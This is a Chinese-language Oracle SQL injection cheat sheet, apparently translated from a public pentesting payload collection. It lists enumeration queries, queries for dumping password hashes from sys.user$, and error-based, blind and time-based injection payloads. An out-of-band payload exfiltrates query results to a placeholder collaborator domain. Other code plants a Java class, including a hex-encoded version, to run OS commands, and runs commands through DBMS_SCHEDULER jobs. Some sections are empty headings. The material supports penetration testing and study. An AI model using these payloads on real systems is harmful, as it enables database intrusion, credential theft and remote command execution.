Oracle SQL 注入 (Oracle SQL Injection)
Oracle SQL 注入是一种安全漏洞,当攻击者由于注入恶意输入而能够向 Oracle 数据库执行的 SQL 查询中插入或“注入”恶意 SQL 代码时,就会发生这种攻击。这通常发生在用户输入未经过适当的清洗或参数化处理,导致攻击者能够操纵查询逻辑的情况下。这可能导致未经授权的数据访问、数据操纵以及其他严重的安全性后果。
摘要 (Summary)
- Oracle SQL 默认数据库 (#oracle-sql-default-databases)
- Oracle SQL 注释 (#oracle-sql-comments)
- Oracle SQL 枚举 (#oracle-sql-enumeration)
- Oracle SQL 数据库凭据 (#oracle-sql-database-credentials)
- Oracle SQL 方法论 (#oracle-sql-methodology)
- 基于报错的 Oracle SQL 注入 (#oracle-sql-error-based)
- 基于盲注的 Oracle SQL 注入 (#oracle-sql-blind)
- 基于时间的 Oracle SQL 注入 (#oracle-sql-time-based)
- Oracle SQL 带外注入 (Out of Band)
- Oracle SQL 命令执行 (#oracle-sql-command-execution)
- Oracle SQL 文件操作 (#oraclesql-file-manipulation)
- 参考资料 (#references)
Oracle SQL 默认数据库 (Oracle SQL Default Databases)
| 名称 | 描述 (Description) |
|---|---|
| SYSTEM | 所有版本均可用 |
| SYSAUX | 所有版本均可用 |
Oracle SQL 注释 (Oracle SQL Comments)
| 注释类型 | 注释符号 |
|---|---|
| 单行注释 | -- |
| 多行注释 | /**/ |
Oracle SQL 枚举 (Oracle SQL Enumeration)
| 枚举描述 | SQL 查询 |
|---|---|
| DBMS 版本 | SELECT user FROM dual UNION SELECT * FROM v$version |
| DBMS 版本 | SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; |
| DBMS 版本 | SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; |
| DBMS 版本 | SELECT BANNER FROM gv$version WHERE ROWNUM = 1; |
| DBMS 版本 | SELECT version FROM v$instance; |
| 主机名 | SELECT UTL_INADDR.get_host_name FROM dual; |
| 主机名 | SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; |
| 主机名 | SELECT UTL_INADDR.get_host_address FROM dual; |
| 主机名 | SELECT host_name FROM v$instance; |
| 数据库名称 | SELECT global_name FROM global_name; |
| 数据库名称 | SELECT name FROM V$DATABASE; |
| 数据库名称 | SELECT instance_name FROM V$INSTANCE; |
| 数据库名称 | SELECT SYS.DATABASE_NAME FROM DUAL; |
| 数据库架构 (Schema) | SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual; |
Oracle SQL 数据库凭据 (Oracle SQL Database Credentials)
| SQL 查询 | 描述 (Description) |
|---|---|
SELECT username FROM all_users; |
所有版本均可用 |
SELECT name, password from sys.user$; |
特权账户,版本 <= 10g |
SELECT name, spare4 from sys.user$; |
特权账户,版本 <= 11g |
Oracle SQL 方法论 (Oracle SQL Methodology)
Oracle SQL 列出数据库 (Oracle SQL List Databases)
SELECT DISTINCT owner FROM all_tables;
SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)
Oracle SQL 列出表名 (Oracle SQL List Tables)
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='<数据库名>'
Oracle SQL 列出列名 (Oracle SQL List Columns)
SELECT column_name FROM all_tab_columns WHERE table_name = '表名';
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<表名>' AND OWNER='<数据库名>'
基于报错的 Oracle SQL 注入 (Oracle SQL Error Based)
| 报错载荷名 | SQL 查询 |
|---|---|
| 无效 HTTP 请求 | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
| CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
| 无效 XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
| 无效 XML | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
| 无效 XML (XMLAGG) | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
| SQL 错误 (CAST) | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) |
| XDBURITYPE getblob | XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob() |
| XDBURITYPE getclob | XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob() |
| XMLType | AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))||'~'||CHR(62))) FROM DUAL) -- - |
| DBMS_UTILITY | AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'||(SELECT banner FROM v$version)||'~') -- - |
当注入点位于字符串内部时,请使用:'||攻击载荷--
基于盲注的 Oracle SQL 注入 (Oracle SQL Blind)
| 盲注描述 | SQL 查询 |
|---|---|
| 版本为 12.2 | SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%'; |
| 允许进行子查询 | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) |
log_table 表存在 |
SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); |
log_table 表中存在 message 列 |
SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE'; |
| 第一条消息的首字母为 't' | SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%'; |
Oracle 盲注下的 Substring 等价函数 (Oracle Blind With Substring Equivalent)
| 函数名 | 语法示例 |
|---|---|
SUBSTR |
SUBSTR('foobar', <起始位置>, <长度>) |
基于时间的 Oracle SQL 注入 (Oracle SQL Time Based)
AND [随机数]=DBMS_PIPE.RECEIVE_MESSAGE('[随机串]',[睡眠时间])
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)
Oracle SQL 带外注入 (Oracle SQL Out of Band)
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(此处插入你的子查询)||'.BURP-COLLABORATOR-域名前缀/"> %remote;]>'),'/l') FROM dual
Oracle SQL 命令执行 (Oracle SQL Command Execution)
- quentinhardy/odat - ODAT (Oracle 数据库攻击工具)
Oracle Java 执行 (Oracle Java Execution)
-
列出 Java 权限
-
授予权限
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute'); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); -
执行命令
-
10g R2, 11g R1 及 R2:
DBMS_JAVA_TEST.FUNCALL() -
11g R1 及 R2:
DBMS_JAVA.RUNJAVA()
-
Oracle Java 类 (Oracle Java Class)
-
创建 Java 类
BEGIN EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; END; BEGIN EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END; -- 十六进制编码的载荷示例 SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374723d2b7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual -
运行操作系统命令
os_command 扩展包
DBMS_SCHEDULER 任务
DBMS_SCHEDULER.CREATE_JOB (job_name => 'exec', job_type => 'EXECUTABLE', job_action => '<操作系统命令>', enabled => TRUE)
Oracle SQL 文件操作 (OracleSQL File Manipulation)
仅限堆叠查询模式应用。
Oracle SQL 读取文件 (OracleSQL Read File)
Oracle SQL 写入文件 (OracleSQL Write File)
参考资料 (References)
- ASDC12 - Web 环境下黑掉 Oracle 的新老方法 - Sumit “sid” Siddharth - 2021年11月8日
- 基于报错的注入 | NetSPI SQL 注入 Wiki - NetSPI - 2021年2月15日
- ODAT: Oracle 数据库攻击工具 - quentinhardy - 2016年3月24日
- Oracle SQL 注入速查表 - @pentestmonkey - 2011年8月30日
- Oracle TNS 监听器渗透测试 - HackTricks - 2024年7月19日
- SQL 注入知识库 - Roberto Salgado - 2013年5月29日